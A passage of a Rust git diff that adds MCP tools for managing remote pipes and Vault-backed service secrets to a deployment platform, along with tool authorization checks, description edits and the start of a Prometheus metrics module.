+            resolve_deployment_hash(context, params.deployment_hash, params.deployment_id).await?;
+        let client = stacker_client(context)?;
+
+        let mut request = params.request;
+        request.deployment_hash = Some(deployment_hash.clone());
+
+        let pipe = client
+            .create_pipe_instance(&request)
+            .await
+            .map_err(|e| format!("Failed to create pipe instance: {}", e))?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "created",
+                "deployment_hash": deployment_hash,
+                "pipe": pipe,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "create_pipe_instance".to_string(),
+            description: "Create a remote pipe instance for a deployment.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_id": { "type": "number", "description": "The deployment/installation ID" },
+                    "deployment_hash": { "type": "string", "description": "The deployment hash" },
+                    "request": {
+                        "type": "object",
+                        "description": "Pipe instance request matching CreatePipeInstanceApiRequest"
+                    }
+                },
+                "required": ["request"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for GetPipeHistoryTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            instance_id: String,
+            #[serde(default)]
+            limit: Option<i64>,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let executions = client
+            .list_pipe_executions(&params.instance_id, params.limit.unwrap_or(20), 0)
+            .await
+            .map_err(|e| format!("Failed to fetch pipe execution history: {}", e))?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "ok",
+                "instance_id": params.instance_id,
+                "executions": executions,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "get_pipe_history".to_string(),
+            description: "Get recent execution history for a pipe instance.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "instance_id": { "type": "string", "description": "Pipe instance ID" },
+                    "limit": { "type": "integer", "description": "Maximum number of executions to return (default: 20)" }
+                },
+                "required": ["instance_id"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for ReplayPipeExecutionTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            execution_id: String,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let replay = client
+            .replay_pipe_execution(&params.execution_id)
+            .await
+            .map_err(|e| format!("Failed to replay pipe execution: {}", e))?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "replayed",
+                "replay": replay,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "replay_pipe_execution".to_string(),
+            description: "Replay a previous pipe execution.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "execution_id": { "type": "string", "description": "Pipe execution ID" }
+                },
+                "required": ["execution_id"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for ActivatePipeTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            pipe_id: String,
+            #[serde(default)]
+            deployment_id: Option<i64>,
+            #[serde(default)]
+            deployment_hash: Option<String>,
+            #[serde(default = "default_trigger")]
+            trigger: String,
+            #[serde(default = "default_poll_interval")]
+            poll_interval: u32,
+            #[serde(default = "default_wait_timeout")]
+            wait_timeout_seconds: u64,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let (pipe, deployment_hash) = resolve_pipe_deployment(
+            context,
+            &client,
+            &params.pipe_id,
+            params.deployment_hash,
+            params.deployment_id,
+        )
+        .await?;
+        ensure_pipe_capability(&client, &deployment_hash).await?;
+
+        client
+            .update_pipe_status(&params.pipe_id, "active")
+            .await
+            .map_err(|e| format!("Failed to set pipe status to active: {}", e))?;
+
+        let request =
+            activate_pipe_request(&client, &pipe, &params.trigger, params.poll_interval).await?;
+        let command = run_pipe_command(&client, &request, params.wait_timeout_seconds).await?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "active",
+                "pipe_id": params.pipe_id,
+                "deployment_hash": deployment_hash,
+                "trigger": params.trigger,
+                "poll_interval": params.poll_interval,
+                "command": command,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "activate_pipe".to_string(),
+            description: "Activate a remote pipe and start its agent listener.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "pipe_id": { "type": "string", "description": "Pipe instance ID" },
+                    "deployment_id": { "type": "number", "description": "Optional deployment/installation ID for validation" },
+                    "deployment_hash": { "type": "string", "description": "Optional deployment hash for validation" },
+                    "trigger": { "type": "string", "description": "Trigger type: webhook, poll, or manual", "default": "webhook" },
+                    "poll_interval": { "type": "integer", "description": "Poll interval in seconds when trigger=poll", "default": 300 },
+                    "wait_timeout_seconds": { "type": "integer", "description": "How long MCP should wait for the agent command result", "default": 90 }
+                },
+                "required": ["pipe_id"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for DeactivatePipeTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            pipe_id: String,
+            #[serde(default)]
+            deployment_id: Option<i64>,
+            #[serde(default)]
+            deployment_hash: Option<String>,
+            #[serde(default = "default_wait_timeout")]
+            wait_timeout_seconds: u64,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let (_pipe, deployment_hash) = resolve_pipe_deployment(
+            context,
+            &client,
+            &params.pipe_id,
+            params.deployment_hash,
+            params.deployment_id,
+        )
+        .await?;
+        ensure_pipe_capability(&client, &deployment_hash).await?;
+
+        client
+            .update_pipe_status(&params.pipe_id, "paused")
+            .await
+            .map_err(|e| format!("Failed to set pipe status to paused: {}", e))?;
+
+        let request = AgentEnqueueRequest::new(&deployment_hash, "deactivate_pipe")
+            .with_raw_parameters(json!({ "pipe_instance_id": params.pipe_id }));
+        let command = run_pipe_command(&client, &request, params.wait_timeout_seconds).await?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "paused",
+                "pipe_id": params.pipe_id,
+                "deployment_hash": deployment_hash,
+                "command": command,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "deactivate_pipe".to_string(),
+            description: "Pause a remote pipe and stop its agent listener.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "pipe_id": { "type": "string", "description": "Pipe instance ID" },
+                    "deployment_id": { "type": "number", "description": "Optional deployment/installation ID for validation" },
+                    "deployment_hash": { "type": "string", "description": "Optional deployment hash for validation" },
+                    "wait_timeout_seconds": { "type": "integer", "description": "How long MCP should wait for the agent command result", "default": 90 }
+                },
+                "required": ["pipe_id"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for TriggerPipeTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            pipe_id: String,
+            #[serde(default)]
+            deployment_id: Option<i64>,
+            #[serde(default)]
+            deployment_hash: Option<String>,
+            #[serde(default)]
+            input_data: Value,
+            #[serde(default = "default_wait_timeout")]
+            wait_timeout_seconds: u64,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let (_pipe, deployment_hash) = resolve_pipe_deployment(
+            context,
+            &client,
+            &params.pipe_id,
+            params.deployment_hash,
+            params.deployment_id,
+        )
+        .await?;
+        ensure_pipe_capability(&client, &deployment_hash).await?;
+
+        let request = AgentEnqueueRequest::new(&deployment_hash, "trigger_pipe")
+            .with_raw_parameters(json!({
+                "pipe_instance_id": params.pipe_id,
+                "input_data": params.input_data,
+            }));
+        let command = run_pipe_command(&client, &request, params.wait_timeout_seconds).await?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "triggered",
+                "pipe_id": params.pipe_id,
+                "deployment_hash": deployment_hash,
+                "command": command,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "trigger_pipe".to_string(),
+            description: "Execute a one-shot remote pipe trigger with input data.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "pipe_id": { "type": "string", "description": "Pipe instance ID" },
+                    "deployment_id": { "type": "number", "description": "Optional deployment/installation ID for validation" },
+                    "deployment_hash": { "type": "string", "description": "Optional deployment hash for validation" },
+                    "input_data": {
+                        "description": "Optional JSON payload to inject into the pipe trigger",
+                        "oneOf": [
+                            { "type": "object" },
+                            { "type": "array" },
+                            { "type": "string" },
+                            { "type": "number" },
+                            { "type": "boolean" },
+                            { "type": "null" }
+                        ]
+                    },
+                    "wait_timeout_seconds": { "type": "integer", "description": "How long MCP should wait for the agent command result", "default": 90 }
+                },
+                "required": ["pipe_id"]
+            }),
+        }
+    }
+}
+
+fn default_trigger() -> String {
+    "webhook".to_string()
+}
+
+fn default_poll_interval() -> u32 {
+    300
+}
+
+fn default_wait_timeout() -> u64 {
+    PIPE_COMMAND_TIMEOUT_SECS
+}
diff --git a/src/mcp/tools/project.rs b/src/mcp/tools/project.rs
index d77af5f8..28b88f77 100644
--- a/src/mcp/tools/project.rs
+++ b/src/mcp/tools/project.rs
@@ -230,7 +230,7 @@ impl ToolHandler for CreateProjectTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "create_project".to_string(),
-            description: "Create a new application stack project with services and configuration"
+            description: "Create a new blank application stack project. Use this when the user wants to start a new project from scratch (e.g. 'create a new project', 'new draft project', 'start a new stack'). To copy an existing project use clone_project instead."
                 .to_string(),
             input_schema: json!({
                 "type": "object",
@@ -389,7 +389,11 @@ impl ToolHandler for CreateProjectAppTool {
             let catalog_app = match client.fetch_app_catalog(token, code).await {
                 Ok(app) => app,
                 Err(e) => {
-                    tracing::warn!("Could not fetch app catalog for code={}: {}, proceeding with defaults", code, e);
+                    tracing::warn!(
+                        "Could not fetch app catalog for code={}: {}, proceeding with defaults",
+                        code,
+                        e
+                    );
                     None
                 }
             };
diff --git a/src/mcp/tools/proxy.rs b/src/mcp/tools/proxy.rs
index 771c8d65..75fce84c 100644
--- a/src/mcp/tools/proxy.rs
+++ b/src/mcp/tools/proxy.rs
@@ -155,7 +155,7 @@ impl ToolHandler for ConfigureProxyTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "configure_proxy".to_string(),
-            description: "Configure a reverse proxy (Nginx Proxy Manager) to route a domain to an application. Creates SSL certificates automatically with Let's Encrypt.".to_string(),
+            description: "Configure a reverse proxy (Nginx Proxy Manager) to route a domain to an application. Set ssl_enabled=false for plain HTTP hosts; when enabled, SSL certificates are requested with Let's Encrypt.".to_string(),
             input_schema: json!({
                 "type": "object",
                 "properties": {
@@ -186,11 +186,11 @@ impl ToolHandler for ConfigureProxyTool {
                     },
                     "ssl_enabled": {
                         "type": "boolean",
-                        "description": "Enable SSL with Let's Encrypt (default: true)"
+                        "description": "Enable SSL with Let's Encrypt; set false for plain HTTP hosts (default: true)"
                     },
                     "ssl_forced": {
                         "type": "boolean",
-                        "description": "Force HTTPS redirect (default: true)"
+                        "description": "Force HTTPS redirect when SSL is enabled (default: true)"
                     },
                     "http2_support": {
                         "type": "boolean",
diff --git a/src/mcp/tools/remote_secrets.rs b/src/mcp/tools/remote_secrets.rs
new file mode 100644
index 00000000..f58c1b1c
--- /dev/null
+++ b/src/mcp/tools/remote_secrets.rs
@@ -0,0 +1,451 @@
+//! MCP tools for Vault-backed remote service secrets.
+
+use async_trait::async_trait;
+use serde::Deserialize;
+use serde_json::{json, Value};
+
+use crate::db;
+use crate::forms::RemoteSecretMetadataResponse;
+use crate::mcp::protocol::{Tool, ToolContent};
+use crate::mcp::registry::{ToolContext, ToolHandler};
+use crate::services::VaultService;
+
+async fn ensure_owned_project(context: &ToolContext, project_id: i32) -> Result<(), String> {
+    let project = db::project::fetch(&context.pg_pool, project_id)
+        .await
+        .map_err(|e| format!("Failed to fetch project: {}", e))?
+        .ok_or_else(|| "Project not found".to_string())?;
+
+    if project.user_id != context.user.id {
+        return Err("Project not found".to_string());
+    }
+
+    Ok(())
+}
+
+async fn ensure_owned_target(
+    context: &ToolContext,
+    project_id: i32,
+    target_code: &str,
+) -> Result<(), String> {
+    ensure_owned_project(context, project_id).await?;
+
+    db::project_app::fetch_by_project_and_code(&context.pg_pool, project_id, target_code)
+        .await
+        .map_err(|e| format!("Failed to fetch target: {}", e))?
+        .ok_or_else(|| format!("Deployable service/app target '{}' not found", target_code))?;
+
+    Ok(())
+}
+
+fn validate_secret_name(name: &str) -> Result<(), String> {
+    let mut chars = name.chars();
+    match chars.next() {
+        Some(first) if first == '_' || first.is_ascii_alphabetic() => {}
+        _ => {
+            return Err(format!(
+                "Invalid secret name '{}': must match [A-Za-z_][A-Za-z0-9_]*",
+                name
+            ));
+        }
+    }
+
+    if chars.all(|ch| ch == '_' || ch.is_ascii_alphanumeric()) {
+        Ok(())
+    } else {
+        Err(format!(
+            "Invalid secret name '{}': must match [A-Za-z_][A-Za-z0-9_]*",
+            name
+        ))
+    }
+}
+
+fn vault_from_context(context: &ToolContext) -> Result<VaultService, String> {
+    VaultService::from_settings(&context.settings.vault)
+        .map_err(|error| format!("Vault is not available for remote secrets: {}", error))
+}
+
+fn render_json(value: Value) -> ToolContent {
+    ToolContent::Text {
+        text: serde_json::to_string_pretty(&value).unwrap_or_else(|_| value.to_string()),
+    }
+}
+
+/// List deployable service/app targets that can receive remote service secrets.
+pub struct ListRemoteSecretTargetsTool;
+
+#[async_trait]
+impl ToolHandler for ListRemoteSecretTargetsTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            project_id: i32,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+
+        ensure_owned_project(context, params.project_id).await?;
+
+        let targets = db::project_app::fetch_by_project(&context.pg_pool, params.project_id)
+            .await
+            .map_err(|e| format!("Failed to list remote secret targets: {}", e))?;
+
+        let items: Vec<Value> = targets
+            .into_iter()
+            .map(|target| {
+                json!({
+                    "code": target.code,
+                    "name": target.name,
+                    "enabled": target.enabled,
+                    "image": target.image
+                })
+            })
+            .collect();
+
+        Ok(render_json(json!({
+            "project_id": params.project_id,
+            "targets": items,
+            "count": items.len(),
+            "note": "Use one of these target codes with service-scope remote secrets."
+        })))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "list_remote_secret_targets".to_string(),
+            description: "List deployable service/app target codes that can receive Vault-backed service-scope remote secrets for a project.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "project_id": {
+                        "type": "number",
+                        "description": "Project ID to inspect"
+                    }
+                },
+                "required": ["project_id"]
+            }),
+        }
+    }
+}
+
+/// List metadata for remote service secrets on one target.
+pub struct ListRemoteServiceSecretsTool;
+
+#[async_trait]
+impl ToolHandler for ListRemoteServiceSecretsTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            project_id: i32,
+            target_code: String,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+
+        ensure_owned_target(context, params.project_id, &params.target_code).await?;
+
+        let items: Vec<RemoteSecretMetadataResponse> = db::remote_secret::list_service_secrets(
+            &context.pg_pool,
+            &context.user.id,
+            params.project_id,
+            &params.target_code,
+        )
+        .await
+        .map_err(|e| format!("Failed to list remote service secrets: {}", e))?
+        .into_iter()
+        .map(Into::into)
+        .collect();
+
+        Ok(render_json(json!({
+            "project_id": params.project_id,
+            "target_code": params.target_code,
+            "secrets": items,
+            "count": items.len(),
+            "note": "Secret values are not returned; only metadata is exposed."
+        })))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "list_remote_service_secrets".to_string(),
+            description: "List metadata for Vault-backed service-scope remote secrets on one deployable service/app target. Plaintext values are never returned.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "project_id": {
+                        "type": "number",
+                        "description": "Project ID containing the target"
+                    },
+                    "target_code": {
+                        "type": "string",
+                        "description": "Deployable service/app target code from list_remote_secret_targets"
+                    }
+                },
+                "required": ["project_id", "target_code"]
+            }),
+        }
+    }
+}
+
+/// Get metadata for one remote service secret.
+pub struct GetRemoteServiceSecretTool;
+
+#[async_trait]
+impl ToolHandler for GetRemoteServiceSecretTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            project_id: i32,
+            target_code: String,
+            name: String,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        validate_secret_name(&params.name)?;
+        ensure_owned_target(context, params.project_id, &params.target_code).await?;
+
+        let secret = db::remote_secret::fetch_service_secret(
+            &context.pg_pool,
+            &context.user.id,
+            params.project_id,
+            &params.target_code,
+            &params.name,
+        )
+        .await
+        .map_err(|e| format!("Failed to fetch remote service secret: {}", e))?
+        .ok_or_else(|| "Secret not found".to_string())?;
+
+        Ok(render_json(json!({
+            "secret": RemoteSecretMetadataResponse::from(secret),
+            "note": "Secret values are not returned; only metadata is exposed."
+        })))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "get_remote_service_secret".to_string(),
+            description: "Get metadata for one Vault-backed service-scope remote secret. Plaintext values are never returned.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "project_id": {
+                        "type": "number",
+                        "description": "Project ID containing the target"
+                    },
+                    "target_code": {
+                        "type": "string",
+                        "description": "Deployable service/app target code from list_remote_secret_targets"
+                    },
+                    "name": {
+                        "type": "string",
+                        "description": "Secret name, matching [A-Za-z_][A-Za-z0-9_]*"
+                    }
+                },
+                "required": ["project_id", "target_code", "name"]
+            }),
+        }
+    }
+}
+
+/// Set or replace one remote service secret.
+pub struct SetRemoteServiceSecretTool;
+
+#[async_trait]
+impl ToolHandler for SetRemoteServiceSecretTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            project_id: i32,
+            target_code: String,
+            name: String,
+            value: String,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        validate_secret_name(&params.name)?;
+        if params.value.is_empty() {
+            return Err("Secret value must not be empty".to_string());
+        }
+        ensure_owned_target(context, params.project_id, &params.target_code).await?;
+
+        let vault = vault_from_context(context)?;
+        let vault_path = vault.service_secret_path(
+            &context.user.id,
+            params.project_id,
+            &params.target_code,
+            &params.name,
+        );
+
+        vault
+            .store_secret_value(&vault_path, &params.value)
+            .await
+            .map_err(|e| format!("Failed to store secret value in Vault: {}", e))?;
+
+        let secret = db::remote_secret::upsert_service_secret(
+            &context.pg_pool,
+            &context.user.id,
+            params.project_id,
+            &params.target_code,
+            &params.name,
+            &vault_path,
+            &context.user.id,
+            "synced",
+        )
+        .await
+        .map_err(|e| format!("Failed to upsert remote service secret metadata: {}", e))?;
+
+        tracing::info!(
+            user_id = %context.user.id,
+            project_id = params.project_id,
+            target_code = %params.target_code,
+            secret_name = %params.name,
+            "Set remote service secret metadata via MCP"
+        );
+
+        Ok(render_json(json!({
+            "secret": RemoteSecretMetadataResponse::from(secret),
+            "note": "Secret stored in Vault. Plaintext value is not returned."
+        })))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "set_remote_service_secret".to_string(),
+            description: "Set or replace a Vault-backed service-scope remote secret for one deployable service/app target. The value is written to Vault and is never returned.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "project_id": {
+                        "type": "number",
+                        "description": "Project ID containing the target"
+                    },
+                    "target_code": {
+                        "type": "string",
+                        "description": "Deployable service/app target code from list_remote_secret_targets"
+                    },
+                    "name": {
+                        "type": "string",
+                        "description": "Secret name, matching [A-Za-z_][A-Za-z0-9_]*"
+                    },
+                    "value": {
+                        "type": "string",
+                        "description": "Secret value to store in Vault"
+                    }
+                },
+                "required": ["project_id", "target_code", "name", "value"]
+            }),
+        }
+    }
+}
+
+/// Delete one remote service secret.
+pub struct DeleteRemoteServiceSecretTool;
+
+#[async_trait]
+impl ToolHandler for DeleteRemoteServiceSecretTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            project_id: i32,
+            target_code: String,
+            name: String,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        validate_secret_name(&params.name)?;
+        ensure_owned_target(context, params.project_id, &params.target_code).await?;
+
+        let secret = db::remote_secret::fetch_service_secret(
+            &context.pg_pool,
+            &context.user.id,
+            params.project_id,
+            &params.target_code,
+            &params.name,
+        )
+        .await
+        .map_err(|e| format!("Failed to fetch remote service secret: {}", e))?
+        .ok_or_else(|| "Secret not found".to_string())?;
+
+        let vault = vault_from_context(context)?;
+        vault
+            .delete_secret_value(&secret.vault_path)
+            .await
+            .map_err(|e| format!("Failed to delete secret value from Vault: {}", e))?;
+
+        db::remote_secret::delete_secret_by_id(&context.pg_pool, secret.id)
+            .await
+            .map_err(|e| format!("Failed to delete remote service secret metadata: {}", e))?;
+
+        tracing::info!(
+            user_id = %context.user.id,
+            project_id = params.project_id,
+            target_code = %params.target_code,
+            secret_name = %params.name,
+            "Deleted remote service secret metadata via MCP"
+        );
+
+        Ok(render_json(json!({
+            "deleted": true,
+            "project_id": params.project_id,
+            "target_code": params.target_code,
+            "name": params.name,
+            "scope": "service"
+        })))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "delete_remote_service_secret".to_string(),
+            description: "Delete a Vault-backed service-scope remote secret from one deployable service/app target.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "project_id": {
+                        "type": "number",
+                        "description": "Project ID containing the target"
+                    },
+                    "target_code": {
+                        "type": "string",
+                        "description": "Deployable service/app target code from list_remote_secret_targets"
+                    },
+                    "name": {
+                        "type": "string",
+                        "description": "Secret name, matching [A-Za-z_][A-Za-z0-9_]*"
+                    }
+                },
+                "required": ["project_id", "target_code", "name"]
+            }),
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{validate_secret_name, ListRemoteSecretTargetsTool, SetRemoteServiceSecretTool};
+    use crate::mcp::registry::ToolHandler;
+
+    #[test]
+    fn validates_cli_compatible_secret_names() {
+        assert!(validate_secret_name("S3_BUCKET").is_ok());
+        assert!(validate_secret_name("_TOKEN").is_ok());
+        assert!(validate_secret_name("1TOKEN").is_err());
+        assert!(validate_secret_name("S3-BUCKET").is_err());
+    }
+
+    #[test]
+    fn remote_secret_schemas_use_target_language() {
+        let list_schema = ListRemoteSecretTargetsTool.schema();
+        assert_eq!(list_schema.name, "list_remote_secret_targets");
+        assert!(list_schema.description.contains("service/app target"));
+
+        let set_schema = SetRemoteServiceSecretTool.schema();
+        assert_eq!(set_schema.name, "set_remote_service_secret");
+        assert!(set_schema.description.contains("Vault-backed"));
+        assert!(set_schema.description.contains("never returned"));
+    }
+}
diff --git a/src/mcp/tools/user_service/mcp.rs b/src/mcp/tools/user_service/mcp.rs
index 15ba88af..d9e60420 100644
--- a/src/mcp/tools/user_service/mcp.rs
+++ b/src/mcp/tools/user_service/mcp.rs
@@ -9,7 +9,7 @@
 use async_trait::async_trait;
 use serde_json::{json, Value};
 
-use crate::connectors::user_service::UserServiceClient;
+use crate::connectors::user_service::{UserServiceClient, UserServiceConnector};
 use crate::mcp::protocol::{Tool, ToolContent};
 use crate::mcp::registry::{ToolContext, ToolHandler};
 use serde::Deserialize;
@@ -280,7 +280,8 @@ impl ToolHandler for GetNotificationsTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "get_notifications".to_string(),
-            description: "List user notifications with optional pagination and unread filter".to_string(),
+            description: "List user notifications with optional pagination and unread filter"
+                .to_string(),
             input_schema: json!({
                 "type": "object",
                 "properties": {
diff --git a/src/mcp/websocket.rs b/src/mcp/websocket.rs
index 159d84ca..f17cc0f6 100644
--- a/src/mcp/websocket.rs
+++ b/src/mcp/websocket.rs
@@ -1,6 +1,7 @@
 use crate::configuration::Settings;
 use crate::models;
 use actix::{Actor, ActorContext, AsyncContext, StreamHandler};
+use actix_casbin_auth::CasbinService;
 use actix_web::{web, Error, HttpRequest, HttpResponse};
 use actix_web_actors::ws;
 use sqlx::PgPool;
@@ -14,6 +15,7 @@ use super::protocol::{
 };
 use super::registry::{ToolContext, ToolRegistry};
 use super::session::McpSession;
+use crate::services::TypedErrorEnvelope;
 
 /// WebSocket heartbeat interval
 const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
@@ -27,6 +29,7 @@ pub struct McpWebSocket {
     registry: Arc<ToolRegistry>,
     pg_pool: PgPool,
     settings: web::Data<Settings>,
+    casbin_service: CasbinService,
     hb: Instant,
 }
 
@@ -36,6 +39,7 @@ impl McpWebSocket {
         registry: Arc<ToolRegistry>,
         pg_pool: PgPool,
         settings: web::Data<Settings>,
+        casbin_service: CasbinService,
     ) -> Self {
         Self {
             user,
@@ -43,6 +47,7 @@ impl McpWebSocket {
             registry,
             pg_pool,
             settings,
+            casbin_service,
             hb: Instant::now(),
         }
     }
@@ -169,6 +174,21 @@ impl McpWebSocket {
 
         match self.registry.get(&call_req.name) {
             Some(handler) => {
+                if let Err(err) = self
+                    .registry
+                    .authorize_call(&call_req.name, &self.user, self.casbin_service.clone())
+                    .await
+                {
+                    tracing::warn!(tool = %call_req.name, error = %err, "MCP tool authorization failed");
+                    let response = CallToolResponse::typed_error(
+                        TypedErrorEnvelope::from_mcp_error_message(&err),
+                    );
+                    return JsonRpcResponse::success(
+                        req.id,
+                        serde_json::to_value(response).unwrap(),
+                    );
+                }
+
                 let context = ToolContext {
                     user: self.user.clone(),
                     pg_pool: self.pg_pool.clone(),
@@ -192,7 +212,9 @@ impl McpWebSocket {
                     }
                     Err(e) => {
                         tracing::error!("Tool execution failed: {}", e);
-                        let response = CallToolResponse::error(format!("Error: {}", e));
+                        let response = CallToolResponse::typed_error(
+                            TypedErrorEnvelope::from_mcp_error_message(&e),
+                        );
                         JsonRpcResponse::success(req.id, serde_json::to_value(response).unwrap())
                     }
                 }
@@ -264,6 +286,7 @@ impl StreamHandler<Result<ws::Message, ws::ProtocolError>> for McpWebSocket {
                 let registry = self.registry.clone();
                 let pg_pool = self.pg_pool.clone();
                 let settings = self.settings.clone();
+                let casbin_service = self.casbin_service.clone();
 
                 let fut = async move {
                     let ws = McpWebSocket {
@@ -272,6 +295,7 @@ impl StreamHandler<Result<ws::Message, ws::ProtocolError>> for McpWebSocket {
                         registry,
                         pg_pool,
                         settings,
+                        casbin_service,
                         hb: Instant::now(),
                     };
                     ws.handle_jsonrpc(request).await
@@ -323,7 +347,7 @@ impl actix::Handler<SendResponse> for McpWebSocket {
 /// WebSocket route handler - entry point for MCP connections
 #[tracing::instrument(
     name = "MCP WebSocket connection",
-    skip(req, stream, user, registry, pg_pool, settings)
+    skip(req, stream, user, registry, pg_pool, settings, casbin_service)
 )]
 pub async fn mcp_websocket(
     req: HttpRequest,
@@ -332,6 +356,7 @@ pub async fn mcp_websocket(
     registry: web::Data<Arc<ToolRegistry>>,
     pg_pool: web::Data<PgPool>,
     settings: web::Data<Settings>,
+    casbin_service: web::Data<CasbinService>,
 ) -> Result<HttpResponse, Error> {
     tracing::info!(
         "New MCP WebSocket connection request from user: {}",
@@ -343,6 +368,7 @@ pub async fn mcp_websocket(
         registry.get_ref().clone(),
         pg_pool.get_ref().clone(),
         settings.clone(),
+        casbin_service.get_ref().clone(),
     );
 
     // The MCP SDK requests subprotocol "mcp" via Sec-WebSocket-Protocol header.
diff --git a/src/metrics.rs b/src/metrics.rs
new file mode 100644
index 00000000..8a0dc24b
--- /dev/null
+++ b/src/metrics.rs
@@ -0,0 +1,88 @@
+use lazy_static::lazy_static;
+use prometheus::{
+    register_counter_vec, register_gauge, register_histogram_vec, CounterVec, Gauge, HistogramVec,
+};
+
+lazy_static! {
+    // ── HTTP Request Metrics ────────────────────────────────────
+    pub static ref HTTP_REQUESTS_TOTAL: CounterVec = register_counter_vec!(
+        "http_requests_total",
+        "Total number of HTTP requests",
+        &["method", "path", "status"]
+    )
+    .expect("Failed to register http_requests_total");
+
+    pub static ref HTTP_REQUEST_DURATION: HistogramVec = register_histogram_vec!(
+        "http_request_duration_seconds",
+        "HTTP request duration in seconds",
+        &["method", "path"],
+        vec![0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1.0, 2.5, 5.0, 10.0]
+    )
+    .expect("Failed to register http_request_duration_seconds");
+
+    // ── Pipe Execution Metrics ──────────────────────────────────
+    pub static ref PIPE_EXECUTIONS_TOTAL: CounterVec = register_counter_vec!(
+        "pipe_executions_total",
+        "Total number of pipe executions",
+        &["status", "trigger_type"]
+    )
+    .expect("Failed to register pipe_executions_total");
+
+    pub static ref PIPE_EXECUTION_DURATION: HistogramVec = register_histogram_vec!(
+        "pipe_execution_duration_seconds",
+        "Pipe execution duration in seconds",
+        &["trigger_type"],
